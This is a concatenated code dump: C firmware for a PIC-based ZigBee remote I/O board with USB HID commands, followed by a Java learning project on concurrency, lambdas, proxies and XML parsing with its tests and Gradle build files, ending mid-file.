if(ZigbeeSendDevices[i].Connected==1){
if(ZigbeeSendDevices[i].Connected!=ZigbeeSendDevices[i].LastConnected){
ZigbeeSendDevices[i].LastConnected=ZigbeeSendDevices[i].Connected;
SendIOsToDevice(ZigbeeSendDevices[i].Address64);
SendDataPacket(ZigbeeSendDevices[i].Address64,"IO|GETSTATE",11,0);
PICOUT4=!PICOUT4;
}
}
}
if(JoinedLastState!=JoinedToNet){
JoinedLastState=JoinedToNet;
if(JoinedToNet==2)
SendIOsToDevice(0);
}
}
char SendStr[10];
void ProcessInputs(){
int i;
for(i=0;i<4;i++){
int portval=!((PORTB & (1 << Inputs[i].IONum))!=0);
if(portval!=Inputs[i].LastState){
Inputs[i].WaitDebounce=1;
if(DebounceVal>Inputs[i].Debounce+5){
Inputs[i].WaitDebounce=0;
Inputs[i].LastState=portval;
sprinti(SendStr,"%s|%d\0",Inputs[i].Name,portval);
SendDataPacket2All(SendStr,strlen(SendStr),0);
}
}
if( Inputs[i].WaitDebounce==0){
Inputs[i].Debounce=DebounceVal;
}
}
DebounceVal++;
}
void write_eeprom_from(unsigned int startaddress,char *str){
char hexstr[3];
unsigned hexval;
int i=0,j=0;
for(i=0;i<16;i=i+2){
hexstr[0]=str[i];
hexstr[1]=str[i+1];
hexstr[2]='\0';
hexval=xtoi(hexstr);
EEPROM_Write(startaddress+j,hexval);
delay_ms(30);
j++;
}
}
void read_eeprom_to(unsigned int startadress,char *dest){
int i;
for(i=0;i<8;i++){
delay_ms(40);
dest[i]=EEPROM_Read(startadress+i);
}
}
void main() {
int i, MY_retry=0;
char DataCharReceived;
char *CommandTrimmed[10];
char del[2] = "|";
char eeprom_readed;
delay_ms(1000);
JoinedToNet=0;
JoinedLastState=0;
UART1_Init(9600);
MM_Init();
for(i=0;i<10;i++){
CommandTrimmed[i]=(char *)malloc(sizeof(char)*30);
//if(CommandTrimmed[i]==0) PICOUT4=1;
}
// HostZigbee=;
// Init Outputs
PICOUT1_Direction=0;
PICOUT1=0;
PICOUT2_Direction=0;
PICOUT2=0;
PICOUT3_Direction=0;
PICOUT3=0;
PICOUT4_Direction=0;
PICOUT4=0;
// Init Inputs
PICIN1_Direction=1;
PICIN2_Direction=1;
PICIN3_Direction=1;
PICIN4_Direction=1;
USBON_Direction=1;
PROG_Direction=1;
for(i=0;i<ZIGBEEDEVICES;i++){
ZigbeeSendDevices[i].Connected=0;
ZigbeeSendDevices[i].LastConnected=0;
ZigbeeSendDevices[i].Enabled=EEPROM_Read(1+(i*9));
ZigbeeSendDevices[i].Address64=(unsigned short*)malloc(sizeof(char) *8);
ZigbeeSendDevices[i].Address16=(unsigned short*)malloc(sizeof(char) *4);
delay_ms(20);
read_eeprom_to(2+(i*9),ZigbeeSendDevices[i].Address64);
delay_ms(20);
}
for(i=0;i<4;i++){
Inputs[i].IONum=i;
Inputs[i].LastState=((PORTB & (1 << Inputs[i].IONum))!=0);
Inputs[i].LastState=!Inputs[i].LastState;
sprinti(Inputs[i].Name,"IN|%d",i+1);
}
ADCON0 |= 0x0F; // Configure all ports with analog function as digital
ADCON1 |= 0x0F; // Configure all ports with analog function as digital
ADCON2 |= 0x0F; // Configure all ports with analog function as digital
CMCON |= 7;
INTCON.GIE = 1;
INTCON.PEIE = 1;
PIE1.RCIE = 1; //enable interrupt.
if(USBON)
HID_Enable(readbuff,writebuff); // Enable HID communication
debug=0;
SendRawPacket(ND, 8);
while(1)
{
if(GotFrame==1){
GotFrame=0;
ProcessZigBeeFrame();
}
else{
ProcessInputs();
ProcessNetworkState();
Delay_ms(1);
}
if(USBON){
if(!(hid_read()==0)) {
i=0;
/* get the first token */
CommandTrimmed[0]=strtok(DeleteChar(DeleteChar(readbuff,'\r'),'\n'), del);
/* walk through other tokens */
do
{
i++;
CommandTrimmed[i] = strtok(0, del);
}
while( CommandTrimmed[i] != 0 );
if(strcmp(CommandTrimmed[0],"UPGRADE")==0){
sprinti(writebuff,"UPGRADING\n");
while(!hid_write(writebuff,64));
EEPROM_Write(0x00,0x01);
HID_Disable();
Delay_ms(1000);
asm { reset; }
} else if(strcmp(CommandTrimmed[0],"SET")==0){
if(strcmp(CommandTrimmed[1],"DEBUG")==0){
int debug_val=0;
debug_val=atoi(CommandTrimmed[2]);
debug=debug_val;
sprinti(writebuff,"DEBUG|%d\n",debug_val);
while(!hid_write(writebuff,64));
}
}
else if(strcmp(CommandTrimmed[0],"SEND")==0){
SendDataPacket(0,CommandTrimmed[1],strlen(CommandTrimmed[1]),0);
//UART1_Write(0x7E);
}
else if(strcmp(CommandTrimmed[0],"?")==0){
sprinti(writebuff,"KPP ZIGBEE BOARD V1.1\n");
while(!hid_write(writebuff,64));
}
else if(strcmp(CommandTrimmed[0],"READ")==0){
}
else if(strcmp(CommandTrimmed[0],"ZIGBEE")==0){
if(strcmp(CommandTrimmed[1],"SET")==0){
if(strcmp(CommandTrimmed[2],"DEVICE")==0){
int devnum=0;
devnum=atoi(CommandTrimmed[3]);
if(devnum>0 && devnum-1<ZIGBEEDEVICES){
int enabledval;
enabledval=atoi(CommandTrimmed[4]);
if(enabledval==0 || enabledval==1){
write_eeprom_from(1+(devnum-1)*9,CommandTrimmed[4]);
write_eeprom_from(2+(devnum-1)*9,CommandTrimmed[5]);
read_eeprom_to(1+(devnum-1)*9,ZigbeeSendDevices[i].Enabled);
read_eeprom_to(2+(devnum-1)*9,ZigbeeSendDevices[i].Address64);
}
}
}
}
else if(strcmp(CommandTrimmed[1],"GET")==0){
if(strcmp(CommandTrimmed[2],"DEVICE")==0){
int devnum=0;
devnum=atoi(CommandTrimmed[3]);
if(devnum>0 && devnum-1<ZIGBEEDEVICES){
int i,k=0;
char hexval[3];
char HostZigbeeStr[16];
for(i=0;i<8;i++){
ShortToHex(ZigbeeSendDevices[devnum-1].Address64[i],HostZigbeeStr+k);
k=k+2;
}
sprinti(writebuff,"ZIGBEE|DEVICE|%d|%s|%d\n",devnum,HostZigbeeStr,ZigbeeSendDevices[devnum-1].Enabled);
while(!hid_write(writebuff,64));
}
}
}
else if(strcmp(CommandTrimmed[1],"MY")==0){
SendRawPacket(MY1, 8);
}
else if(strcmp(CommandTrimmed[1],"ND")==0){
SendRawPacket(ND, 8);
}
}
}
}
}
}<file_sep>[Position]
Line=15
Column=83
[FoldedLines]
Count=0
<file_sep>[Position]
Line=32
Column=30
[FoldedLines]
Count=0
<file_sep>[Position]
Line=33
Column=62
[FoldedLines]
Count=0
<file_sep>[Position]
Line=4
Column=29
[FoldedLines]
Count=0
<file_sep>[Position]
Line=2
Column=18
[FoldedLines]
Count=0
<file_sep>#ifndef __ZIGBEEREMOTEIO
#define __ZIGBEEREMOTEIO
#define MAXZIGBEEID 16
#define MAXZIGBEEFRAME 100
#define ZIGBEEDEVICES 2
unsigned short LocalIP[2];
// setup outputs
sbit PICOUT1 at LATA0_bit;
sbit PICOUT1_Direction at TRISA0_bit;
sbit PICOUT2 at LATA1_bit;
sbit PICOUT2_Direction at TRISA1_bit;
sbit PICOUT3 at LATA2_bit;
sbit PICOUT3_Direction at TRISA2_bit;
sbit PICOUT4 at LATA3_bit;
sbit PICOUT4_Direction at TRISA3_bit;
// setup inputs
sbit PICIN1 at PORTB.B0;
sbit PICIN1_Direction at TRISB0_bit;
sbit PICIN2 at PORTB.B1;
sbit PICIN2_Direction at TRISB1_bit;
sbit PICIN3 at PORTB.B2;
sbit PICIN3_Direction at TRISB2_bit;
sbit PICIN4 at PORTB.B3;
sbit PICIN4_Direction at TRISB3_bit;
sbit USBON at PORTB.B4;
sbit USBON_Direction at TRISB3_bit;
sbit PROG at RB5_bit;
sbit PROG_Direction at TRISB5_bit;
int DebounceVal=0;
char MY1[8]={0x7E,0x00,0x04,0x08,0x01,0x4D,0x59,0x50};
char ND[8]= {0x7E,0x00,0x04,0x08,0x01,0x4E,0x44,0x64};
unsigned char readbuff[64] absolute 0x600; // Buffers should be in USB RAM, please consult datasheet
unsigned char writebuff[64] absolute 0x640;
//---------------------------------------------------------------------------------------------------
typedef struct {
unsigned Enabled;
short Connected;
short LastConnected;
unsigned short *Address64;
unsigned short *Address16;
}ZigbeeSendDeviceInfo;
ZigbeeSendDeviceInfo ZigbeeSendDevices[ZIGBEEDEVICES];
typedef struct {
short IONum;
int LastState;
int Debounce;
short WaitDebounce;
char Name[6];
}IOInfo;
IOINFO Inputs[4];
IOINFO Outputs[4];
int debug=0;
int JoinedToNet=0;
int JoinedLastState=0;
char Rx_char;
int frameindex=0,framesize=MAXZIGBEEFRAME-1;
char ZigbeeFrame[MAXZIGBEEFRAME];
char GotFrame=0;
void SendIOsToDevice(char *deviceAddress);
#endif | 8959160664d9ef8c376ffff4530d84c96eed9549 | [
"C",
"C++",
"INI"
] | 10 | C++ | ruisebastiao/ZigBee-Remote-IO-V1.0 | cf7ca55bb00d5d0cc260aebb9ed836cdb11a78ba | 2bcaab5611fa4942bead19b1210bccb108fc9a24 |
refs/heads/master | <file_sep>package com.kluszynski.proxy;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
class NumberRepositoryHandler implements InvocationHandler {
private static final Logger LOGGER = LoggerFactory.getLogger(NumberRepositoryHandler.class);
private NumberRepository numberRepository;
NumberRepositoryHandler(NumberRepository numberRepository) {
this.numberRepository = numberRepository;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
LOGGER.debug("method " + method);
LOGGER.debug("args " + Arrays.toString(args));
if (method.getName().equals("getNumbers")) {
List<Long> numbers = new ArrayList<>();
numbers.addAll(numberRepository.getNumbers());
numbers.add(6L);
return numbers;
} else {
return method.invoke(numberRepository, args);
}
}
}
<file_sep>package com.kluszynski.concurrency.thread;
import com.kluszynski.concurrency.ConcurrencyUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
// https://docs.oracle.com/javase/tutorial/essential/concurrency/simple.html
class AnonymousRunnableThread {
private static final Logger LOGGER = LoggerFactory.getLogger(AnonymousRunnableThread.class);
private Thread thread;
void fireRunnable() {
Runnable task = () -> {
LOGGER.debug("started");
new ConcurrencyUtils().sleepForDefaultTime();
LOGGER.debug("ended");
};
thread = (new Thread(task));
thread.start();
}
public Thread getThread() {
return thread;
}
}
<file_sep>package com.kluszynski.lambda;
import java.util.List;
public interface PersonRepository {
List<Person> getAllPersons();
}
<file_sep>package com.kluszynski.jaxp.domain;
import nl.jqno.equalsverifier.EqualsVerifier;
import nl.jqno.equalsverifier.Warning;
import org.junit.Test;
public class LibraryTest {
@Test
public void givenLibraryClassThenEqualsIsImplementedCorrectly() {
EqualsVerifier.forClass(Library.class)
.suppress(Warning.NONFINAL_FIELDS)
.verify();
}
}
<file_sep>package com.kluszynski.concurrency.thread.producerconsumer;
import com.kluszynski.concurrency.thread.IterableTaskConfiguration;
import org.junit.Test;
public class ConsumerTaskTest extends BufferTest {
private static final int BUFFER_MAXIMUM_SIZE = 3;
@Test
public void givenOneProducerWhenBufferIsEmptyThenAllEntriesAreInserted() throws Exception {
Buffer<Long> buffer = new AbstractArrayBuffer<Long>(BUFFER_MAXIMUM_SIZE) {
};
buffer.add(1L);
buffer.add(2L);
buffer.add(3L);
IterableTaskConfiguration consumerTaskConfiguration =
new IterableTaskConfiguration.IterableTaskConfigurationBuilder()
.measureTime(true).logActions(true).iterations(buffer.getMaximumSize()).build();
ConsumerTask consumerTask = new ConsumerTask(buffer, consumerTaskConfiguration);
Thread consumerThread = new Thread(consumerTask);
consumerThread.start();
consumerThread.join();
debugStateOfBuffer(buffer);
}
}
<file_sep>package com.kluszynski.springframework.javaconfig;
import com.kluszynski.springframework.javaconfig.domain.Troop;
import org.junit.Assert;
import org.junit.Test;
import org.springframework.context.annotation.AnnotationConfigApplicationContext;
public class EvenTroopConfigTest {
@Test
public void whenEvenTroopConfigUsedThenTroopsHasEvenNumbersInIds() {
AnnotationConfigApplicationContext annotationConfigApplicationContext = new AnnotationConfigApplicationContext();
annotationConfigApplicationContext.getEnvironment().setActiveProfiles("evenProfile");
annotationConfigApplicationContext.register(EvenTroopConfig.class);
annotationConfigApplicationContext.refresh();
Assert.assertEquals(2, annotationConfigApplicationContext.getBean(Troop.class).getId());
Assert.assertEquals(4, annotationConfigApplicationContext.getBean(Troop.class).getId());
}
}
<file_sep>package com.kluszynski.concurrency.thread.interference;
abstract class AbstractCounter implements Counter {
static final int DEFAULT_COUNTER_VALUE = 0;
}
<file_sep>package com.kluszynski.concurrency.thread;
import org.junit.Test;
public class JoinedThreadTest {
private JoinedThread joinedThread = new JoinedThread();
@Test
public void whenThreadJoinsOtherThreadThenItWaitsForFirstToFinish() throws Exception {
joinedThread.joinThread();
joinedThread.getJoinedThread().join();
joinedThread.getJoiningThread().join();
}
@Test
public void whenThreadJoinsOtherThreadAndItIsInterruptedItDoesNotWaitForFirstToFinish() throws Exception {
joinedThread.interruptJoinedThread();
joinedThread.getJoinedThread().join();
joinedThread.getJoiningThread().join();
}
}
<file_sep>package com.kluszynski.lambda;
import org.junit.Test;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.util.concurrent.Callable;
public class OldFashionIterationTest extends AbstractPerformanceTest {
private static final Logger LOGGER = LoggerFactory.getLogger(OldFashionIterationTest.class);
@Test
public void givenAllPersonsThenCountOlderThan30Years() throws Exception {
Callable<Long> callable = new Callable<Long>() {
@Override
public Long call() throws Exception {
long counter = 0;
for(Person person : getPersonRepository().getAllPersons()) {
if (person.getAge() > 30) {
counter++;
}
}
return counter;
}
};
testPerformance(callable);
}
@Override
protected Logger getLogger() {
return LOGGER;
}
}
<file_sep>package com.kluszynski.jaxp.domain;
import com.kluszynski.jaxp.constant.AuthorTags;
import com.kluszynski.jaxp.domain.exception.InvalidDateFormatException;
import org.apache.commons.lang3.builder.EqualsBuilder;
import org.apache.commons.lang3.builder.HashCodeBuilder;
import org.apache.commons.lang3.builder.ToStringBuilder;
import java.text.DateFormat;
import java.text.ParseException;
import java.text.SimpleDateFormat;
import java.util.Date;
public final class Author {
private String name;
private String surname;
private String country;
private Date birthDate;
public Author(String name, String surname, String country, Date birthDate) {
this.name = name;
this.surname = surname;
this.country = country;
this.birthDate = birthDate;
}
public String getName() {
return name;
}
public String getSurname() {
return surname;
}
public String getCountry() {
return country;
}
public Date getBirthDate() {
return birthDate;
}
@Override
public boolean equals(Object o) {
if (this == o) {
return true;
}
if (o == null || getClass() != o.getClass()) {
return false;
}
Author author = (Author) o;
return new EqualsBuilder()
.append(getName(), author.getName())
.append(getSurname(), author.getSurname())
.append(getCountry(), author.getCountry())
.append(getBirthDate(), author.getBirthDate())
.isEquals();
}
@Override
public int hashCode() {
return new HashCodeBuilder()
.append(getName())
.append(getSurname())
.append(getCountry())
.append(getBirthDate())
.toHashCode();
}
@Override
public String toString() {
return new ToStringBuilder(this)
.append("name", getName())
.append("surname", getSurname())
.append("country", getCountry())
.append("birthDate", getBirthDate())
.toString();
}
// https://en.wikipedia.org/wiki/Builder_pattern
public static class Builder {
private String name;
private String surname;
private String country;
private Date birthDate;
public Builder name(String name) {
this.name = name;
return this;
}
public Builder surname(String surname) {
this.surname = surname;
return this;
}
public Builder country(String country) {
this.country = country;
return this;
}
public Builder birthDateYYYYMMDD(String birthDate) throws InvalidDateFormatException {
try {
DateFormat dateFormat = new SimpleDateFormat(AuthorTags.BIRTH_DATE_FORMAT);
dateFormat.setLenient(false);
this.birthDate = dateFormat.parse(birthDate);
return this;
} catch (ParseException exception) {
throw new InvalidDateFormatException(birthDate, AuthorTags.BIRTH_DATE_FORMAT, exception);
}
}
public Author build() {
return new Author(name, surname, country, birthDate);
}
}
}
<file_sep>package com.kluszynski.jaxp.constant;
import org.junit.Test;
public class BookTagsTest {
@Test
public void coverageForBookTagsClass() {
new BookTags();
}
}
<file_sep>package com.kluszynski.lambda;
import org.apache.commons.lang3.builder.ToStringBuilder;
import java.time.Clock;
import java.time.LocalDateTime;
import java.time.temporal.ChronoUnit;
class Person {
private String name;
private String surname;
private LocalDateTime bornDate;
private Clock clock;
Person(String name, String surname, LocalDateTime bornDate) {
this(name, surname, bornDate, Clock.systemUTC());
}
private Person(String name, String surname, LocalDateTime bornDate, Clock clock) {
this.name = name;
this.surname = surname;
this.bornDate = bornDate;
this.clock = clock;
}
private String getName() {
return name;
}
private String getSurname() {
return surname;
}
private LocalDateTime getBornDate() {
return bornDate;
}
long getAge() {
return ChronoUnit.YEARS.between(LocalDateTime.now(clock), bornDate);
}
@Override
public String toString() {
return new ToStringBuilder(this).append("name", getName()).append("surname", getSurname())
.append("bornDate", getBornDate()).toString();
}
}
<file_sep>package com.kluszynski.jaxp.constant;
import org.junit.Test;
public class LibraryTagsTest {
@Test
public void coverageForLibraryTagsClass() {
new LibraryTags();
}
}
<file_sep>package com.kluszynski.lambda;
import org.junit.Test;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.time.LocalDateTime;
import java.time.Month;
public class PersonTest {
private static final Logger LOGGER = LoggerFactory.getLogger(LambdaTest.class);
@Test
public void givenPersonThenReturnToString() {
Person person = new Person("name", "surname", LocalDateTime.of(1980, Month.MARCH, 7, 10, 0));
LOGGER.debug("Person to string : " + person.toString());
}
}
<file_sep>package com.kluszynski.proxy;
import java.util.List;
interface NumberRepository {
List<Long> getNumbers();
}
<file_sep>package com.kluszynski.concurrency.thread.producerconsumer;
import com.kluszynski.concurrency.thread.IterableTaskConfiguration;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
class ProducerTask extends BufferTask {
private static final Logger LOGGER = LoggerFactory.getLogger(ProducerTask.class);
private long counter;
ProducerTask(Buffer<Long> buffer, IterableTaskConfiguration iterableTaskConfiguration, long counter) {
super(buffer, iterableTaskConfiguration);
this.counter = counter;
}
@Override
public void action() {
Long value = counter++;
getBuffer().add(value);
getProcessedElements().add(value);
if (iterableTaskConfiguration.isLogActions()) {
LOGGER.debug("Put value " + value);
}
}
@Override
public Logger getLogger() {
return LOGGER;
}
}
<file_sep>package com.kluszynski.concurrency.thread;
import com.kluszynski.concurrency.ConcurrencyUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
class DaemonRunnableThread {
private static final Logger LOGGER = LoggerFactory.getLogger(DaemonRunnableThread.class);
private boolean isDeamon;
private Thread thread;
DaemonRunnableThread(boolean isDeamon) {
this.isDeamon = isDeamon;
}
void fireRunnable() {
Runnable task = () -> {
LOGGER.debug("started");
new ConcurrencyUtils().sleepForDefaultTime();
LOGGER.debug("ended");
};
thread = (new Thread(task));
thread.setDaemon(isDeamon);
LOGGER.debug("isDeamon " + thread.isDaemon());
thread.start();
}
public Thread getThread() {
return thread;
}
}
<file_sep>project(':jaxp:jaxp-commons') {
dependencies {
compile project(':commons')
}
}
project(':jaxp:sax') {
dependencies {
compile project(':jaxp:jaxp-commons')
testCompile project(path: ':jaxp:jaxp-commons', configuration: 'testArtifacts')
}
}<file_sep>subprojects {
dependencies {
compile 'org.springframework:spring-core:4.2.3.RELEASE'
compile 'org.springframework:spring-context:4.2.3.RELEASE'
}
}<file_sep>include 'commons'
include 'javalang'
include 'concurrency'
include 'springframework:javaconfig'
include 'jaxp:jaxp-commons'
include 'jaxp:sax'
include 'jaxp:dom'<file_sep>package com.kluszynski.concurrency.thread.producerconsumer;
import com.kluszynski.concurrency.thread.IterableTaskConfiguration;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
class ConsumerTask extends BufferTask {
private static final Logger LOGGER = LoggerFactory.getLogger(ConsumerTask.class);
ConsumerTask(Buffer<Long> buffer, IterableTaskConfiguration iterableTaskConfiguration) {
super(buffer, iterableTaskConfiguration);
}
@Override
public void action() {
Long value = getBuffer().remove();
getProcessedElements().add(value);
if (iterableTaskConfiguration.isLogActions()) {
LOGGER.debug("Removed value " + value);
}
}
@Override
public Logger getLogger() {
return LOGGER;
}
}
<file_sep>package com.kluszynski.concurrency.thread.collection;
import com.kluszynski.concurrency.thread.IterableTask;
import com.kluszynski.concurrency.thread.IterableTaskConfiguration;
import java.util.List;
abstract class ListTask extends IterableTask {
private static final long DEFAULT_COUNTER = 0;
protected final List<Long> list;
protected long counter;
ListTask(IterableTaskConfiguration iterableTaskConfiguration, List<Long> list, long counter) {
super(iterableTaskConfiguration);
this.list = list;
this.counter = counter;
}
ListTask(IterableTaskConfiguration iterableTaskConfiguration, List<Long> list) {
this(iterableTaskConfiguration, list, DEFAULT_COUNTER);
}
public List<Long> getList() {
return list;
}
public long getCounter() {
return counter;
}
}
<file_sep>package com.kluszynski.proxy;
import com.google.common.collect.ImmutableList;
import org.junit.Assert;
import org.junit.Test;
import java.lang.reflect.Proxy;
public class NumberRepositoryHandlerTest {
@Test
public void givenProxyWhenGetNumberThenProxyReturnsDifferentValuesThenInRepository() {
NumberRepository numberRepository = getNumberRepositoryProxy();
Assert.assertEquals(ImmutableList.of(1L, 2L, 3L, 4L, 5L, 6L), numberRepository.getNumbers());
}
@Test
public void givenProxyWhenToStringThenInvocationPassedToOriginalObject() {
NumberRepository numberRepository = getNumberRepositoryProxy();
Assert.assertNotNull(numberRepository.toString());
}
private NumberRepository getNumberRepositoryProxy() {
return (NumberRepository) Proxy.newProxyInstance(
NumberRepository.class.getClassLoader(), new Class[] { NumberRepository.class },
new NumberRepositoryHandler(new NaturalNumberRepository()));
}
}
<file_sep>package com.kluszynski.concurrency.thread;
import com.kluszynski.concurrency.ConcurrencyUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
class JoinedThread {
private static final Logger LOGGER = LoggerFactory.getLogger(JoinedThread.class);
private Thread joiningThread;
private Thread joinedThread;
private ConcurrencyUtils concurrencyUtils = new ConcurrencyUtils();
private Runnable task = () -> {
LOGGER.debug("started");
concurrencyUtils.sleepForTwiceDefaultTime();
LOGGER.debug("ended");
};
void joinThread() {
joinedThread = (new Thread(task));
Runnable secondTask = () -> {
LOGGER.debug("started second");
try {
joinedThread.join();
} catch (InterruptedException exception) {
LOGGER.debug("interrupted second " + exception);
}
LOGGER.debug("ended second");
};
joiningThread = (new Thread(secondTask));
joinedThread.start();
joiningThread.start();
}
void interruptJoinedThread() {
joinThread();
joiningThread.interrupt();
}
Thread getJoiningThread() {
return joiningThread;
}
Thread getJoinedThread() {
return joinedThread;
}
}
<file_sep>package com.kluszynski.concurrency.thread;
import org.junit.Test;
public class AnonymousThreadTest {
@Test
public void fireThread() throws Exception {
AnonymousThread anonymousThread = new AnonymousThread();
anonymousThread.fireThread();
anonymousThread.getThread().join();
}
}
<file_sep>package com.kluszynski.concurrency.thread.collection;
import org.junit.Test;
import java.util.ArrayList;
import java.util.List;
public class ArrayListTest extends ListTest {
@Test
public void testAddingThreeElementsOneThreadToList() {
testAddingThreeElementsOneThread(createEmptyList());
}
@Test
public void testAddingToArrayList() {
testAddingToList(createEmptyList());
}
@Test
public void testUnsafeIterationsOnlyOnArrayList() {
testUnsafeIterationsOnList(createFilledList());
}
@Test
public void testUnsafeIterationsWithAddingOnArrayList() {
testUnsafeIterationsWithAddingOnList(createFilledList(), true);
}
@Test
public void testSafeIterationsOnlyOnArrayList() {
testSafeIterationsOnList(createFilledList());
}
@Test
public void testSafeIterationsWithAddingOnArrayList() {
testSafeIterationsWithAddingOnList(createFilledList());
}
@Override
protected List<Long> createEmptyList() {
return new ArrayList<Long>();
}
}
<file_sep>package com.kluszynski.lambda;
import org.apache.commons.lang3.time.StopWatch;
import org.slf4j.Logger;
import java.util.concurrent.Callable;
abstract class AbstractPerformanceTest {
private PersonRepository personRepository = new RandomPersonRepository(100);
protected abstract Logger getLogger();
PersonRepository getPersonRepository() {
return personRepository;
}
void testPerformance(Callable<Long> callable) throws Exception {
testPerformance(callable, false);
}
private void testPerformance(Callable<Long> callable, boolean logDetails) throws Exception {
StopWatch stopWatch = new StopWatch();
stopWatch.start();
Long result = callable.call();
stopWatch.stop();
if (logDetails) {
getPersonRepository().getAllPersons().stream().map(Person::toString).forEach(getLogger()::debug);
getLogger().debug("Persons older then 30 is " + result + " from " + getPersonRepository().getAllPersons().size());
}
getLogger().debug("Execution took " + stopWatch.getTime());
}
}
<file_sep>allprojects {
apply plugin: 'java'
apply plugin: "jacoco"
sourceCompatibility = 1.8
version = '1.0'
repositories {
mavenCentral()
}
test {
testLogging {
events "passed", "skipped", "failed"
showStandardStreams true
}
}
// https://discuss.gradle.org/t/how-do-i-declare-a-dependency-on-a-modules-test-code/7172/5
configurations {
testArtifacts
}
task testJar (type: Jar) {
baseName = "${project.name}-test"
from sourceSets.test.output
}
artifacts {
testArtifacts testJar
}
dependencies {
compile 'org.apache.commons:commons-lang3:3.4'
compile 'commons-io:commons-io:2.4'
compile 'org.slf4j:slf4j-api:1.7.13'
compile 'com.google.guava:guava:19.0-rc3'
testCompile 'junit:junit:4.12'
testCompile 'nl.jqno.equalsverifier:equalsverifier:2.1.6'
testRuntime 'org.apache.logging.log4j:log4j-slf4j-impl:2.5'
testRuntime 'org.apache.logging.log4j:log4j-api:2.5'
testRuntime 'org.apache.logging.log4j:log4j-core:2.5'
}
}
subprojects {
jacocoTestReport {
additionalSourceDirs = files(sourceSets.main.allSource.srcDirs)
sourceDirectories = files(sourceSets.main.allSource.srcDirs)
classDirectories = files(sourceSets.main.output)
reports {
html.enabled = true
xml.enabled = false
csv.enabled = false
}
}
}
task jacocoRootReport(type: org.gradle.testing.jacoco.tasks.JacocoReport) {
dependsOn = subprojects.test
additionalSourceDirs = files(subprojects.sourceSets.main.allSource.srcDirs)
sourceDirectories = files(subprojects.sourceSets.main.allSource.srcDirs)
classDirectories = files(subprojects.sourceSets.main.output)
executionData = files(subprojects.jacocoTestReport.executionData)
reports {
html.enabled = true
xml.enabled = false
csv.enabled = false
}
onlyIf = {
true
}
doFirst {
executionData = files(executionData.findAll {
it.exists()
})
}
}
<file_sep>package com.kluszynski.file.exception;
public class ResourceNotFoundException extends CanNotCreateTempFileException {
private String resourcePath;
public ResourceNotFoundException(String resourcePath) {
super();
this.resourcePath = resourcePath;
}
public String getResourcePath() {
return resourcePath;
}
}
<file_sep>package com.kluszynski.jaxp.dom;
import com.kluszynski.jaxp.LibraryReader;
import com.kluszynski.jaxp.LibraryReaderAbstractTest;
import com.kluszynski.jaxp.exception.LibraryParsingException;
import org.junit.Test;
import org.w3c.dom.Document;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
import org.xml.sax.SAXException;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import javax.xml.xpath.XPathExpressionException;
import java.io.IOException;
import java.io.InputStream;
public class DOMLibraryReaderTest extends LibraryReaderAbstractTest {
@Test
public void testParserConfigurationExceptionCreateDocumentBuilder() {
ParserConfigurationException parserConfigurationException = new ParserConfigurationException();
LibraryReader libraryReader = new DOMLibraryReader() {
@Override
protected DocumentBuilder createDocumentBuilder(DocumentBuilderFactory documentBuilderFactory)
throws ParserConfigurationException {
throw parserConfigurationException;
}
};
testLibraryReaderImplException(libraryReader, "com/kluszynski/jaxp/twoLibrariesThreeBooksSevenAuthors.xml",
new LibraryParsingException(parserConfigurationException));
}
@Test
public void testIOExceptionParse() {
IOException ioException = new IOException();
LibraryReader libraryReader = new DOMLibraryReader() {
@Override
protected Document parse(DocumentBuilder documentBuilder, InputStream inputStream)
throws SAXException, IOException {
throw ioException;
}
};
testLibraryReaderImplException(libraryReader, "com/kluszynski/jaxp/twoLibrariesThreeBooksSevenAuthors.xml",
new LibraryParsingException(ioException));
}
@Test
public void testSAXExceptionParse() {
SAXException saxException = new SAXException();
LibraryReader libraryReader = new DOMLibraryReader() {
@Override
protected Document parse(DocumentBuilder documentBuilder, InputStream inputStream)
throws SAXException, IOException {
throw saxException;
}
};
testLibraryReaderImplException(libraryReader, "com/kluszynski/jaxp/twoLibrariesThreeBooksSevenAuthors.xml",
new LibraryParsingException(saxException));
}
@Test
public void testXPathExpressionExceptionFromReadingNodeList() {
XPathExpressionException xPathExpressionException = new XPathExpressionException("invalidXPath");
LibraryReader libraryReader = new DOMLibraryReader() {
@Override
NodeList readNodeListUsingXPath(Node node, String xPathString) throws XPathExpressionException {
throw xPathExpressionException;
}
};
testLibraryReaderImplException(libraryReader, "com/kluszynski/jaxp/twoLibrariesThreeBooksSevenAuthors.xml",
new LibraryParsingException(xPathExpressionException));
}
@Test
public void testXPathExpressionExceptionFromReadingTagValue() {
XPathExpressionException xPathExpressionException = new XPathExpressionException("invalidXPath");
LibraryReader libraryReader = new DOMLibraryReader() {
@Override
String readTagValue(Node node, String tagName) throws XPathExpressionException {
throw xPathExpressionException;
}
};
testLibraryReaderImplException(libraryReader, "com/kluszynski/jaxp/twoLibrariesThreeBooksSevenAuthors.xml",
new LibraryParsingException(xPathExpressionException));
}
@Test
@Override
public void whenNotExisitingFileThenThrowNullInputStreamException() {
super.whenNotExisitingFileThenThrowNullInputStreamException();
}
@Test
@Override
public void whenInvalidBirthDateFormatThenThrowXsdValidationException() {
super.whenInvalidBirthDateFormatThenThrowXsdValidationException();
}
@Test
@Override
public void whenXmlTagNotDefinedInXsdThenThrowXsdValidationException() {
super.whenXmlTagNotDefinedInXsdThenThrowXsdValidationException();
}
@Test
@Override
public void whenOneLibraryOneBookOneAuthorThenParseFileAndReturnResult() {
super.whenOneLibraryOneBookOneAuthorThenParseFileAndReturnResult();
}
@Test
@Override
public void whenOneLibraryTwoBooksSixAuthorsThenParseFileAndReturnResult() {
super.whenOneLibraryTwoBooksSixAuthorsThenParseFileAndReturnResult();
}
@Test
@Override
public void whenOneLibraryThreeBooksSevenAuthorsThenParseFileAndReturnResult() {
